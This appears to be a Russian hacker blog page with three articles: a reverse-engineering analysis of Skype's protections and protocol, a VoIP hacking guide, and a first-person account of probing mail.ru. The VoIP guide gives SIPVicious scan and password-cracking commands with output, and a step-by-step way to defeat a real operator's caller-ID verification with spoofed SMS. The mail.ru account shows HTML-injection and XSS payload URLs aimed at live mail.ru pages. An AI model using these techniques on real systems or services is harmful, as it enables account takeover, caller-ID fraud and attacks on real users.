XAKEPress

Взломай свой МОЗГ

Skype: скрытая угроза

Skype представляет собой одну из самых популярных VoIP-программ, установленную на миллионах компьютеров по всему миру, владельцы которых даже и не подозревают, какая опасность им грозит. А опасность им грозит весьма серьезная: от утечки конфиденциальной информации до проникновения червей и попадания на трафик, не говоря уже о таких мелочах, как нежелание Skype работать при активном SoftICE. Я все это благополучно разгрыз и теперь выставляю продукты своей жизнедеятельности на всеобщее обозрение :) .

Skype, созданный отцами-основателями скандально известной Kazaa и унаследовавший от своей прародительницы самые худшие ее черты, работает по принципу самоорганизующейся распределенной пиринговой сети (distributed self-organized peer-to-peer network, P2P). Skype – это черный ящик с многоуровневой системой шифрования, напичканного антиотладочными приемами исполняемого файла, считывающий с компьютера конфиденциальную информацию и передающий ее в сеть по закрытому протоколу. Последний обходит брандмауэры и сурово маскирует свой трафик, препятствуя его блокированию. Все это превращает Skype в идеального переносчика вирусов, червей и дронов, создающих свои собственные распределенные сети внутри Skype-сети. К тому же, Skype довольно бесцеремонно обращается с ресурсами твоего узла, используя его для поддержания связи между остальными узлами Skype-сети, напрягая ЦП и генерируя мощный поток трафика. А трафик, как известно, редко бывает бесплатным (особенно в России), так что кажущаяся бесплатность звонков весьма условна: за узлы с «тонкими» каналами расплачиваются «толстые» владельцы.

Skype активно изучается в хакерских лабораториях и security-организациях по всему миру, и большинство исследователей единодушно сходятся во мнении, что Skype – это дьявольски хитрая программа, написанная бесспорно талантливыми людьми в стиле Black Magic Art. Skype не брезгует грязными трюками, создающими огромные проблемы, о которых я и собираюсь рассказать.

Анализ исполняемого файла Skype

Исполняемый файл Skype-клиента представляет собой настоящий шедевр хакерского искусства, вобравший в себя множество интересных и достаточно могучих защитных механизмов. Для противодействия им требуются не только мощные инструментальные средства (отладчики, дизассемблеры, дамперы и т.д.) и знания/навыки, но еще и куча свободного времени.

Двоичный файл полностью зашифрован и динамически расшифровывается по мере загрузки в память. Причем сброс дампа невозможен, точнее, затруднен тем обстоятельством, что стартовый код после выполнения очищается, в результате чего мы получаем exe, который не запускается. Оригинальная таблица импорта не содержит ничего интересного, и API-функции подключаются уже в процессе распаковки. Проверка целостности кода выполняется из разных мест в случайном порядке (преимущественно при входящих звонках), поэтому поиск защитных процедур представляет собой весьма нетривиальную задачу. Тем более что они основаны на криптографических RSA-сигнатурах и снабжены полиморфными генераторами, которые в случайном порядке переставляют инструкции ADD, XOR, SUB и др., перемешивая их с левыми машинными командами.

Статический вызов функций (по жестко прописанному адресу) практически не встречается, и все важные процедуры вызываются по динамически вычисляемому указателю, пропущенному через обфускатор. Следовательно, дизассемблер нам тут уже не поможет, и приходится браться за отладчик.

А вот про отладчик следует сказать отдельно. Skype распознает SoftICE даже при наличии установленного IceExt, наотрез отказываясь запускаться. Это забавно, поскольку для взлома самого Skype отладчик SoftICE не очень-то и нужен, ведь существуют и другие инструменты подобного рода, среди которых в первую очередь хотелось бы отметить The Rasta Ring 0 Debugger, или сокращенно [RR0D], не обнаруживаемый Skype-клиентом и, как и следует из его названия, работающий на уровне ядра. В принципе, можно воспользоваться и отладчиком прикладного уровня (например, стремительно набирающим популярность OllyDbg). Только при этом важно помнить, что Skype легко обнаруживает программные точки останова, представляющие собой однобайтовую машинную инструкцию с опкодом CCh, записывающуюся поверх отлаживаемого кода. А для предотвращения пошаговой трассировки Skype осуществляет замеры времени выполнения определенных участков кода, для прохождения через которые приходится использовать полноценные эмуляторы PC с интегрированным отладчиком, например, знаменитый BOCHS.

Наконец, когда исполняемый файл распакован и все проверки пройдены, защита вычисляет контрольную сумму и преобразует ее в указатель, по которому передается управление, пробуждающее Skype.


Последовательность распаковки исполняемого файла


Антиотладочные приемы, с помощью которых Skype обнаруживает загруженный SoftICE

Проблема в том, что Skype очень следит за своей целостью, поэтому попытка исправления jnz на jmp short работает только до первого входящего звонка, после которого Skype падает и обратно уже не поднимается. Специально для таких хитроумных защит еще во времена MS-DOS была разработана техника онлайн-патча, при которой исправление программы осуществляется непосредственно в оперативной памяти, а после успешного прохождения проверки на наличие SoftICE совершается откат, чтобы не волновать процедуру проверки целости.


Беглая трассировка Skype с помощью OllyDbg быстро выявляет защитный код, выполняющий проверку на присутствие SoftICE

Архитектура распределенной сети

На атомарном уровне структура Skype-сети состоит из обычных узлов (normal/ordinal node/host/nest), обозначаемых аббревиатурой SC (Skype Client), и super-узлов (super node/host/nest), которым соответствует аббревиатура SN. Любой узел, который имеет публичный IP-адрес (тот, который маршрутизируется в интернет) и обладает достаточно широким каналом, автоматически становится super-узлом и гонит через себя трафик обычных узлов, помогая им преодолеть защиты типа брандмауэров или трансляторов сетевых адресов (NAT) и равномерно распределяя нагрузку между хостами. В этом и состоит суть самоорганизующейся распределенной децентрализованной пиринговой сети, единственным централизованным элементом которой является Skype-login-сервер, отвечающий за процедуру авторизации Skype-клиентов и гарантирующий уникальность позывных для всей распределенной сети.

Важно подчеркнуть, что связь между узлами осуществляется не напрямую, а через цепочку super-узлов. Серверов в общепринятом смысле этого слова (таких, например, как в сети eDonkey) в Skype-сети нет. Любой узел с установленным Skype-клиентом является потенциальным сервером, которым он автоматически становится при наличии достаточных системных ресурсов (объема оперативной памяти, быстродействия процессора и пропускной способности сетевого канала).

Каждый узел Skype-сети хранит перечень IP-адресов и портов известных ему super-узлов в динамически обновляемых кэш-таблицах (Host Cache Tables, HC-tables). Начиная с версии Skype 1.0, кэш-таблица представляет собой простой XML-файл, в незашифрованном виде записанный на диске в домашней директории пользователя.


Структура децентрализованной самоорганизующейся пиринговой Skype-сети

Skype-клиенты за отдельную плату могут принимать входящие звонки с обычных телефонов и совершать подобные звонки. Однако в PC2PC-обмене эти серверы никак не участвуют, поэтому мы не будем на них останавливаться.


Помимо звонков внутри Skype-сети, пользователи могут звонить и на обычные телефоны, а также принимать с них звонки.

Как Skype обходит брандмауэры

Протокол обмена между Skype-клиентами совершенно недокументирован, и поэтому вся информация о нем получена методами реинженеринга: дизассемблирования Skype-клиентов, анализа перехваченного сетевого трафика и т.д. Поскольку существует огромное количество значительно различающихся между собой версий Skype-клиентов, то описание протокола может содержать неточности, во всяком случае, open-source-клиента еще никто не написал.

Сразу же после своего запуска Skype-клиент открывает TCP- и UDP-порты. Их номера случайным образом задаются при инсталляции и могут быть в любой момент изменены через диалог конфигурации, что затрудняет блокирование Skype-трафика на брандмауэре. Помимо этого, Skype открывает порты 80 (HTTP) и 443, однако они не являются жизненно важными, и, даже если их заблокировать, Skype ничуть не огорчится.


Структура IP-пакета при работе Skype по протоколу UDP

Ситуация осложняется тем, что Skype шифрует трафик, активно используя продвинутые технологии обфускации, препятствующие выделению постоянных сигнатур в полях заголовков. Алгоритмы шифрования меняются от версии к версии, к тому же выпущено множество специальных версий для разных стран мира, чьи законы налагают определенные ограничения на длину ключа или выбранные криптографические алгоритмы. Но в целом механизм шифрования выглядит так, как показано на рисунке.


Механизм шифрования, используемый Skype

Skype-клиенты крайне деликатно обходятся с брандмауэрами и трансляторами сетевых адресов, просачиваясь сквозь них через хорошо известные протоколы STUN и TURN. Протокол STUN уже вошел в Библию Интернета и подробно описан в RFC-3489. Что же касается TURN‘а, то он все еще находится в разработке и в настоящее время доступна лишь черновая версия стандарта: www.jdrosen.net/midcom_turn.html.

Так что, с юридической точки зрения, действия Skype законны и не попадают под статью. STUN, расшифровывающийся как Simple Traversal of User Datagram Protocol (UDP) Through Network Address Translators (NATs) (простое проникновение датаграмм протокола UDP через транслятор сетевых адресов (NAT)), представляет собой отличное средство, которое страдает, однако, рядом ограничений и не работает в следующих случаях:

  1. если путь во внешнюю сеть прегражден злобным брандмауэром, режущим весь UDP;
  2. если на пути во внешнюю сеть стоит симметричный транслятор сетевых адресов.

Ну, с брандмауэром все понятно. Если UDP закрыт, то никак его не откроешь. А вот симметричный транслятор сетевых адресов (symmetric NAT) — это что за штука? Не углубляясь в технические детали, скажем, что симметричный NAT представляет собой разновидность обыкновенного транслятора, требующего, чтобы целевой IP-адрес и порт транслируемого пакета совпадали с внешним (external) IP-адресом и портом. Если один и тот же узел посылает пакеты с одинаковыми исходными IP-адресами и портами по разным направлениям, NAT будет вынужден транслировать их на другие порты. Таким образом, чтобы отправить внутреннему узлу UDP-пакет, внешний узел должен первым делом получить запрос от внутреннего узла. Самостоятельно инициировать соединение внешний узел не в состоянии, поскольку NAT просто не знает, на какой внутренний IP и порт следует транслировать неожиданно сваливавшийся UDP-пакет.

Эта проблема решается протоколом TURN (Traversal Using Relay NAT), технические подробности работы которого описаны по вышеупомянутому адресу и большинству читателей совершенно неинтересны. Гораздо важнее другое — протокол TURN значительно увеличивает латентность и теряет большое количество UDP-пакетов (packet loss), что далеко не лучшим образом сказывается на качестве и устойчивости связи, но полное отсутствие связи – еще хуже. Так что пользователям Skype стоит радоваться, а не жаловаться!


Структура Skype-сети, в которой присутствуют Skype-клиенты за NAT и брандмауэрами

Вот только администраторы этой радости почему-то не разделяют, наглухо закрывая UDP-трафик (тем более что большинству нормальных программ он не нужен). Немного поворчав для приличия (замуровали, демоны!), Skype автоматически переключается на чистый TCP, отрубить который администратору никто не позволит. Правда, поколдовав над брандмауэром, тот может закрыть все неиспользуемые порты, но в том-то и подвох, что неиспользуемых портов в природе не встречается! При соединении с удаленным узлом операционная система назначает клиенту любой свободный TCP/UDP-порт, на который будут приходить пакеты. То есть, если мы подключаемся к web-серверу по 80-му порту, наш локальный порт может оказаться 1369-м, 6927-м или еще каким-нибудь другим. Закрыв все порты, мы лишимся возможности устанавливать TCP/UDP-соединения!

Единственный выход — обрубить всем пользователям локальной сети прямой доступ в интернет, заставив их ходить через proxy-сервер. Однако даже такие драконовские меры не решат проблемы, поскольку Skype просто прочитает конфигурацию браузера и воспользуется proxy-сервером как своим родным!


Skype, работающий через proxy-сервер, конфигурация которого прочитана из настроек браузера

Как заблокировать Skype-трафик

Разработчики Skype предостерегают администраторов от попыток выявления и блокирования его трафика (типа: «Все равно у вас ничего не получится!»). И действительно, распознать Skype-трафик очень сложно, а заблокировать его можно только по содержимому, которое зашифровано и не содержит никаких предсказуемых последовательностей. К счастью для администраторов, создатели Skype, при всей своей гениальности, допустили ряд оплошностей, оставив часть трафика незашифрованной. UDP-соединение использует открытый протокол для получения публичных IP-адресов super-узлов, что вполне может быть выявлено анализатором трафика. Это раз. TCP-соединение использует один и тот же RC4-поток дважды, что позволяет нам восстановить 10 первых байт ключа, расшифровав часть постоянных полей заголовков Skype-протокола. Это два! Кстати, весьма полезная вещь для шпионажа за чужими разговорами! Однако мне не известен ни один готовый блокиратор Skype-трафика, а писать свой собственный — лениво, да и времени нет.


Повторное использование RC4-потока позволяет восстановить 10 байт ключа из 12-ти, расшифровывая часть Skype-трафика

Распознать и заблокировать UDP-трафик намного проще. Каждый фрейм начинается с двухбайтового идентификационного номера (ID) и типа пакета (payload). В UDP-пакет вложен 39-байтный NACK-пакет, пропущенный через обфускатор и содержащий следующие данные:

  • идентификатор пакета (непостоянен и варьируется от пакета к пакету);
  • номер функции (func), пропущенный через обфускатор, но func & 8Fh всегда равно 7h;
  • IP отправителя;
  • IP получателя.

Таким образом, чтобы заблокировать UDP-трафик, генерируемый Skype, достаточно добавить в брандмауэр следующее правило:

iptables -I FORWARD -p udp -m length –length 39 -m u32
–u32 ‘27&0 x8f=7′ –u32 ‘31=0 x527c4833 ‘ -j DROP


Структура NACK-пакета

К сожалению, блокировка UDP-трафика ничего не решает, поскольку Skype автоматом переходит на TCP, но тут есть одна небольшая зацепка. Заголовки входящих IP-пакетов, относящиеся к протоколу обмена SSL-ключами (SSL key-exchange packets), содержат нехарактерный для «нормальных» приложений идентификатор 170301h, возвращаемый в ответ на запрос с идентификатором 160301h (стандартный SSL версии 3.1). Таким образом, блокирование всех входящих пакетов, содержащих в заголовке 170301h, серьезно озадачит Skype, и текущие версии потеряют работоспособность. Вот только надолго ли…


Распознание Skype-трафика по необычному идентификатору во время обращения к Login Server при обмене SSL-ключами

Для детектирования и блокирования Skype-трафика можно использовать и другие программно-аппаратные средства, например, PRX от Ipoque или Cisco Network-Based Application Recognition (NBAR). Однако все они недостаточно эффективны, так как разработчики Skype не сидят сложа руки, и если кому-то удается найти надежный способ блокировки его поганого трафика, в следующих версиях поганец появляется вновь.

Армии дронов, или как зомбировать Skype

Дешевизна голосовых разговоров вызвала бурный рост популярности Skype, сеть которого на 27 апреля 2006 года, по официальным данным, составила свыше 100 миллионов зарегистрированных пользователей. А сегодня совершают, по меньшей мере, один Skype-звонок в день свыше 700 тысяч человек! Несложно спрогнозировать, что в скором времени в Skype войдет львиная доля узлов интернета, что имеет как положительную, так и отрицательную сторону.

Хакеры уже давно догадались использовать Skype для распространения вирусов и организации распределенных атак, которым очень сложно воспрепятствовать – Skype-трафик надежно зашифрован и не может быть проанализирован антивирусами, заблокирован брандмауэрами или распознан системами обнаружения вторжения.

Естественно, чтобы захватить Skype-узел, хакер должен найти способ передать на него зловредный код, что при соблюдении всех мер безопасности он ни за что не сможет сделать. Но, как и всякое другое программное обеспечение, Skype подвержен ошибкам, в том числе и ошибкам переполнения, одна из которых была обнаружена 25 сентября 2005 года. Сейчас она уже давно исправлена и представляет лишь исторический интерес, но с ней все-таки стоит познакомиться поближе (а сделать это можно на Skype.com/security/Skype-sb-2005-03.html или на seclists.org/fulldisclosure/2005/Oct/0533.html).

Возможность передачи управления на shell-код позволяла атакующему овладевать любым Skype-узлом, а также всеми известными ему super-узлами и т.д. Над распределенной сетью нависла глобальная угроза, и просто чудо, что она не закончилась катастрофой. Однако, как показывает практика, там, где есть одна ошибка, рано или поздно появляются и другие. Закрытость исходных текстов и множество антиотладочных приемов (затрудняющих тестирование программы) этому только способствуют!

Другая опасная «вкусность» Skype заключается в открытости его API. Пойдя навстречу сторонним разработчикам, создатели Skype предусмотрели возможность интеграции любой прикладной программы со Skype-клиентом. Правда, при этом на экран выводится грозное предупреждение, что такая-то программа хочет пользоваться Skype API: разрешить или послать ее на фиг? Естественно, большинство пользователей на подобные вопросы отвечают утвердительно. Уже привыкшие к надоедливым предупреждениям, они инстинктивно давят «Yes» и только потом начинают думать, а что же они, собственно, разрешили?

Понятное дело, что, чтобы использовать Skype API, зловредную программу нужно как-то доставить на компьютер. Раньше для этого применялась электронная почта, успешно фильтруемая антивирусами, но количество пользователей, запустивших исполняемый файл, все равно исчислялось миллионами. Теперь же для рассылки вирусов можно использовать сам Skype. Локальный антивирус — единственное средство обороны, потенциально способное отразить атаку. Но, если он и установлен, распознать неизвестный науке вирус он не в состоянии даже при наличии антивирусных баз первой свежести (эвристика пока все-таки работает больше на рекламу, чем на конечный результат).

Важно, что протокол Skype уже частично расшифрован и созданы хакерские инструменты, позволяющие взаимодействовать со Skype-узлами в обход стандартных Skype-клиентов, и даже без сервера регистрации! И хотя в настоящее время дело ограничивается простым сбором адресов super-узлов, существует принципиальная возможность создания своих собственных сетей на базе распределенной Skype-сети, главная ошибка разработчиков которой заключается в том, что Skype-узлы безоговорочно доверяют друг другу и вся «безопасность» зиждется лишь на закрытости протокола.


Географическое распределение super-узлов Skype по планете

Заключение

Заканчивая статью, я хотел бы спросить: что же все-таки скрывают создатели Skype в недрах своего кода? Почему, распространяя программу бесплатно, они зажимают исходные тексты и используют закрытый протокол, вызывая тем самым недоверие специалистов по безопасности? Для чего бесплатной программе столь навороченная защита, снижающая производительность и потребляющая большое количество памяти, ведь ломать ее никто не собирается? Почему вообще Skype-клиент реализован как черный ящик?

Вопросы риторические. Но чует мой хвост, неспроста все это!

 

Ноябрь 20, 2009 Опубликовал arthurbabark | ФРИКИНГ | | No Comments Yet

Телефонные шалости: хакерский подход к IP-телефонии

Еще не так давно сервис Clickatel, позволяющий отправлять SMS с любого номера, казался настоящей находкой. Побаловались – и надоело. Пора сделать следующей шаг и разобраться, как с произвольного номера можно… позвонить и поговорить с человеком. А заодно посмотреть, как возможно перехватить голосовой трафик, подобрать пароль для аккаунта у SIP-провайдера и просто умело использовать замечательную технологию VoIP.

Где взять дешевую связь?

Реализаций технологии, которая в целом называется Voice over IP (передача голоса по IP), существует очень много. Взять хотя бы всем известный Skype. Создатели разработали свой собственный протокол для передачи данных, позволяющий обмениваться данными тем абонентам, между которыми прямое соединение установить невозможно из-за файрволов и маршрутизаторов. К слову, перед тем как продать eBay сам Skype Никлас Зеннстрём и Янус Фриис запатентовали фирменную пиринговую технологию, и теперь (после сделки в несколько миллиардов долларов) собираются вернуть свое детище назад. Впрочем, речь не об этом. Вопрос – так кто же предоставляю самую дешевую связь посредствам VoIP? Ответить просто – никто.

Выбирать решение нужно исходя из своих потребностей и направлений для звонков. Тот же Skype, в общем-то, предоставляет вполне вменяемые тарифы, а за небольшую абонентскую плату готов вообще предложить безлимитные звонки (сразу оговорюсь, что российское направление под эти условия не попадает). С другой стороны, ты сразу становишь заложником оригинального клиента, а это значит, что ты не сможешь привязать Skypе-аккаунт к аппаратным железкам. Чтобы не быть связанным по рукам и ногам, многие отдают предпочтение технологии SIP (Session Initiation Protocol) и AIX (Inter-Asterisk eXchange), которую использует огромное количество провайдеров. Поскольку стандарты открытые, то и вариантов использования море, включая многочисленные программные реализации, так и аппаратные средства. Одна из самых удачных программных реализаций телефона, у которой фактически нет достойных конкурентов является программа X-Lite (http://www.counterpath.com).

Операторов, предоставляющий услуги с использованием этих технологий настолько много, что приводить обзор или банально сравнение было бы просто глупо. Вместо этого упомяну одну интересную компанию, а именно Betamax. Это один из крупнейших провайдеров VoIP связи в Европе, который, однако, не работает напрямую с частными лицами, но зато предоставляет свои мощности и технологии для работы многочисленных ресселеров. Фишка в том, что у каждого из таких ресселеров есть определенная целевая аудитория, для которого каждый из них подгоняет свои тарифы. Если с одного сервисов звонки в ту же Турцию платные, то есть все шансы найти оператора, который предоставляет их бесплатно. Кстати, такой действительно есть – www.12voip.com. Остается только вопрос: как найти нужного? Для этого есть специальный сайт, на котором автоматически собираются и группируются тарифы всех реселлеров. Держи его в секрете: http://backsla.sh/betamax. Если поискать, то практически для всех европейский стран возможно найти оператора, который предлагает звонки по этому направлению вообще бесплатно. Увы, в Россию бесплатные звонки доступны только в направлении Питера и Москвы.

Еще один интересный момент. Каждый из Betamax-сервисов предоставляет замечательную услугу — Direct Call, позволяющую обоим собеседникам обходиться одним только телефоном безо всякой гарнитуры. Итак, смысл в следующем. В одно из предложенных текстовых полей ты вводишь свой телефон, в другое — телефон своего собеседника, тут же нажимая кнопку «Соединить». Не пройдет и пары секунд, как раздастся телефонный звонок. Один на связи! Теперь сервис позвонит твоему собеседнику. Как только тот возьмет трубку, между вами будет установлена прямая связь. Вот так просто и эффектно. Причем состояние («идет звонок», «занято», «абонент не отвечает») ты в реальном времени можешь посмотреть на сайте (если, конечно, для звонка используешь именно его).

Как пробрутить SIP-аккаунт

Практика показывает, что в Сети существует огромное количество неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС, а также просто SIP-аккаунтов со слабыми паролями. Для демонстрации этого поднимем программную реализацию АТС на базе проекта Asterisk PBX (www.asterisk.org) и проверим его на стойкость с помощью специального набора утилита SIPVicious (sipvicious.org), написанных на Python’е. Для того чтобы долго не заморачиваться с установкой Linux’а и дальнейшей настройкой АТС, мы взяли за основу проект Trixbox (www.trixbox.org), в котором большинство сервисов уже толково настроены, а тебе остается лишь ввести несколько настроек вручную через удобный веб-интерфейс. На офсайте есть образ для виртуальной машины VMware, который можно запустить бесплатной утилитой VMware Player (www.vmware.com/products/player/). После запуска необходимо установить несколько так называемых extensions – внутренних номеров: 100, 101 и 123. Для первого установим простой числовой пароль, поле пароля для второго оставим пустым, а для третьего номера укажем какое-нибудь простое слово, которое есть в любом словаре для брута: secret. Опять же повторюсь: все эти действия мы провернули, чтобы создать площадку для экспериментов. Для того чтобы найти уязвимые акки используется утилиты из пакета SIPVicious: каждая из них работает в консоли и может запускать как под виндой, так и туксом.

Для этого сначала просканируем заданную подсеть (скажем, это будет 192.168.1.1/24), чтобы найти BPX:

[you@box sipvicious]$ ./svmap 192.168.1.1/24
| SIP Device         | User Agent           |
---------------------------------------------
| 192.168.1.103:5060 | Asterisk PBX         |
[you@box sipvicious]$

Таким образом, мы нашли нашу АТС-ку. Далее необходимо провести ее анализ и отыскать extention’ы:

[you@box sipvicious]$ ./svwar.py 192.168.1.103
| Extension | Authentication |
------------------------------
| 123       | reqauth        |
| 100       | reqauth        |
| 101       | noauth         |
[you@box sipvicious]$

И хотя результат для нас вряд ли можно назвать неожиданным, мы видим, что номер 101 не требует авторизации. А для 100 и 123 требуется ввести пароль. Попробуем подобрать его для 100, используя подбор по числовым значениям (а они используются более чем часто):

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100
| Extension | Password |
------------------------
| 100       | 100      |

Пароль подобран! Теперь попробуем взломать пасс для аккаунта 123, используя словарик:

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Extension | Password |
------------------------
| 123       | secret   |

Пассы найдены: осталось подставить найденные логин-пароль в свой SIP клиент и проверить их в действии.

Конечно, вероятность успешного брутфорса на отдельно взятый аккаунт невелика. Но среди сотен extention’ов всегда найдется хотя бы один со слабым паролем. Более того, подход «обнаружить bpx, найти extention, подобрать пароль» является одной из самых простых на VoIP. В ближайших номерах мы вернемся к этому вопросу более детально.

Как подделать номер?

Возможность звонить по дешевым тарифам – это уже само по себе хорошо. Только вот вместо твоего номера у абонента отображается либо «номер скрыт», либо непонятный номер VoIP-шлюза, обратные звонки на который ни к чему хорошему не приведут. Намного веселее, если бы в качестве CallerID можно было указать номер своего сотового телефона, а еще веселее – любой произвольный номер! В былые времена и, по правде говоря, не такие уж и давние, фокус с подделкой Caller ID можно было провернуть, используя лояльность в настройках SIP-операторов. Правда для этого приходилось серьезно попыхтеть, чтобы среди огромного количества SIP-провайдеров найти тех, которые своими политиками жестко не фиксировали поле CallerID, позволяя установить в него произвольное значение. Повторить фокус сейчас, увы, не удалось, поэтому мы решили искать другие варианты.

Подставить в поле CallerID номер своего сотового телефона позволяются большинство операторов, но требуют при этом пройти процедуру проверки. На заявленный тобой номер отправляется SMS-сообщение со специальным кодом верификации, который нужно ввести на сайте оператора. Примерно такую процедуру мы ожидали увидеть и для использования приемиум-услуги от sipnet, благодаря которой можно было «дать возможность абонентам видеть Ваш номер». Как и полагается, используя услугу, возможно зарегистрировать свой сотовый на сайте и подставлять его номер при исходящих звонках. Достаточно выбрать в личном кабинете «Премиум услуги -> АОН -> SMS заказ звонка», где есть кнопка «Зарегистрировать сотовый телефон». Но далее видим, что для регистрации (внимание!) требуется всего лишь отправить со своего номера SMS, содержащее код, полученный на сайте. Причем само SMS бесплатное и отправляется на обычный федеральный номер. Понимаешь, к чему мы ведем? Ведь все, думаю, пользовались отправкой смс с подменой номера отправителя? Некоторые сервисы предоставляют эту услугу бесплатно, но добавляют в сообщение свою информацию, например, рекламу. Нам же нужно, чтобы в смс ничего не было, кроме кода. Идеально подходит для этого сервис от Yakoon.com. Скачиваем с их сайта специальное клиент-приложение и регистрируемся.

На указанное при регистрации мыло придет код активации, который позволит нам залогиниться. После этого на сотовый придет смс с кодом для получения 3 бесплатных смс, причем в качестве отправителя можно указать даже латинские символы. Ну разве ж можно этим не воспользоваться? Создаем новое смс – его текст и номер мы уже получили на сайте sipnet, осталось только указать номер отправителя. В качестве номера можно указать любой номер телефона, например, 123456789. После того, как сообщение будет доставлено, в премиум услуге АОН появится номер, с которого мы отправили смс. И то, ради чего мы этого делали: этот номер можно будет подставить при звонках. Проще простого!

Имей ввиду, что когда номер регистрируется в сипнет, то на него приходит смс: «Ваш номер зарегистрирован в sipnet». Кстати говоря, для удобства регистрации новых номеров можно набросать небольшой скрипт, который сам будет запрашивать номер верификации и через API Yakoon’а отправлять SMS для подтверждения номера.

Как прослушать Skype и SIP?

Перехват данных VoIP отличается от традиционного снифинга, имея свои нюансы, хотя в общем перехват данных осуществляется по той же самой схеме. Нюанс заключается в том, что прослушивание голосового трафика требуется перехвата пакетов установления связи и ассоциированного медийного потока. Сигнальные сообщения используют другой сетевой протокол (UDP или TCP) и порт, отличный от самой передачи данных. В тоже самое время едиа поток обычно передается через UDP с использованием RTP (Real Time Protocol). К счастью, задачи по перехвату RTP пакетов и их декодирования, а также анализ сессии может автоматически выполняться продвинутыми сниферами. Наш любимый Wireshark (www.wireshark.org) имеет соответствующий пункт «Statistics -> VoIP Calls». Получив список VoIP звонков, можно изучить, как происходил обмен данными на графической диаграмме, или банально прослушать голосовые данные. Возможность для записи VoIP трафика есть также у другой известной утилиты Cain and Abel (www.oxid.it), а также UCSniff (http://ucsniff.sourceforge.net/). Последний умеет перехватывать трафик и видеоконференций. Конечно, все это действительно только в том случае, если трафик передается в незащищенном виде. В качестве противодействия снифера можно использовать TLS (Transport Layer Security) для криптования SIP сигналов и RTP (Secure Real Time Protocol) для защиты голоса, но в большинстве случаев голос передается в открытом виде.

В плане защищенности намного более выигрышнее смотрится Skype, который в обязательном порядке криптует все передаваемые данные. Ни одного решения для перехвата и дешифрования трафика в публичном доступе не существуют. Многие специалисты по ИБ заявляют, что их нет даже у спецслужб. И все-таки… отловить разговоры по Skype все-таки можно, но только если получить доступ к системе звонящего. Буквально за неделю до сдачи номера в печать швейцарский разработчик программного обеспечения Рубен Уттереггер опубликовал исходники трояна, перехватывающего разговоры по Skype. Троян принимает команды со специального сервера и отправляет на него аудио файлы. Самая главная изюминка малвари заключается в модели Skype-Tap, которая перехватывает API-вызовы Skype’а, находит среди прочего PCM аудио данные, и преобразовывает их в MP3, после его шлет на сервер-хранилище в зашифрованном виде. Подробнее прочитать, а также посмотреть сорцы ты можешь на сайте разработчика: www.megapanzer.com.

Как завести бесплатный номер за границей

Одна из интереснейших услуг Skype’а с давних времен была опция SkypeIn, позволяющая завести номер в США и принимать звонки, используя клиент Skype. Правда, за использование взималась абонентская плата. И вот теперь обзавестись своим собственным номером в других странах появилась можно совершенно бесплатно. Groovy Tel (www.groovytel.com) предоставляет бесплатный номер в Штатах. Каждый звонок на этот номер будет переадресован одной из систем, в которой реализовано голосовое общение: Google Talk, MSN Messenger, Yahoo Messenger, Free World Dialup или Gizmo. Правда, для регистрации тебе придется иметь профиль в социальной сети Facebook и обзавестись, как минимум, 20 друзьями. :) При регистрации позволяют выбрать номер из 3 предложенных, но кнопка «Обновить» позволяет очень быстро отыскать наиболее достойный вариант. Я тестировал систему с GTalk: все отлично работает, а при поступлении звонка даже отображается номер абонента. Другой сервис JetNumber пригодится если номер нужен всего на несколько дней – срок триального периода, в ходе которого услугой можно пользоваться бесплатно. Для проверки можно взять номерочек в Аргентине, Франции, Мексике, Соединенном Королевстве, США.

Конечно, здорово, что Groovy Tel переадресуют звонки на IM-клиент, но было бы еще лучше если в качестве точки назначения можно было указать любого SIP/IAX-оператора. Такую услугу, и опять же бесплатно предоставляет IPKall (www.ipkall.com). Поддержка открытых протоколов, позволяет не только использовать софтварные решения, но и аппаратные девайсы. Ничего не стоит перенаправлять звонки на SIP-аккаунт (купленный в том же sipnet.ru), который привязан к VoIP-шлюзу. Такой адаптер позволяет подключить самый обычный телефон, а с IPKall’а на него можно принимать звонки со своего бесплатного номера в Штатах. Правда, у сервиса нет мгновенной регистрации и после составления заявки придется немного подождать.

Мини-атс из точки доступа!

Для того чтобы поднять офисную АТС вовсе необязательно приобретать дорогостоящий девайс. Если ты внимательно читал наш раздел SYN/ACK, то вероятно уже разобрался с тем, как поднять программное решение на базе Asterisk (www.asterisk.org). Правда в этом случае нам все равно понадобится компьютер с поднятыми никсами (хотя бы под виртуальной машиной), можно поступить еще хитрее. Если у тебя дома есть точка доступа или другой управляемое сетевое устройство, то поднять сервер Asterisk можно попробовать на нем. На моем Asus Wl500gP, о котором я уже не раз писал, после установки прошивки от Oleg’а, установка осуществляется всего двумя командами:

ipkg uninstall asterisk
ipkg install asterisk14
reboot

Далее остается лишь добавить нескольких пользователей и привязать их к extention’ам (внутренним номерам), воспользовавшись мануалом для начинающих: http://www.en.voipforo.com/asterisk/asterisk-first-steps.php. После этого остается установить на разных машинах SIP-клиенты, прописать сервер и учетки.

Ноябрь 20, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet

Взлом Mail.ru: непобедимых не бывает

[first day...]

Два часа ночи, я был готов пойти спать, но надо было проверить почту. Зайдя к себе на мыльник (зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на mail.ru, работает дерьмово, видимо спам – подарок от мэйл.ру. Что ж, как никак Новый Год скоро, надо тоже сделать подарок любимому почтовику.

Исследовав почтовый сервис я так ничего и не нашел. Что же, поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре картинок выскакивало popup окно, запомнив адрес:

http://7ya.mail.ru/image.php?in=phot…=500&big_h=375

Я решил его подкорректировать, получилось вот что:

http://7ya.mail.ru/image.php?in=»><font color=ORANGE size=10>Russian Net Hunters – Rulezzz</font>

Как видишь получилось – Russian Net Hunters Rulezzz. Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка:

http://talk.mail.ru/login.html?target=

Я решил проверить переменную target на XSS, набрав в адресной строке

http://talk.mail.ru/login.html?target=»><script>alert();</script>

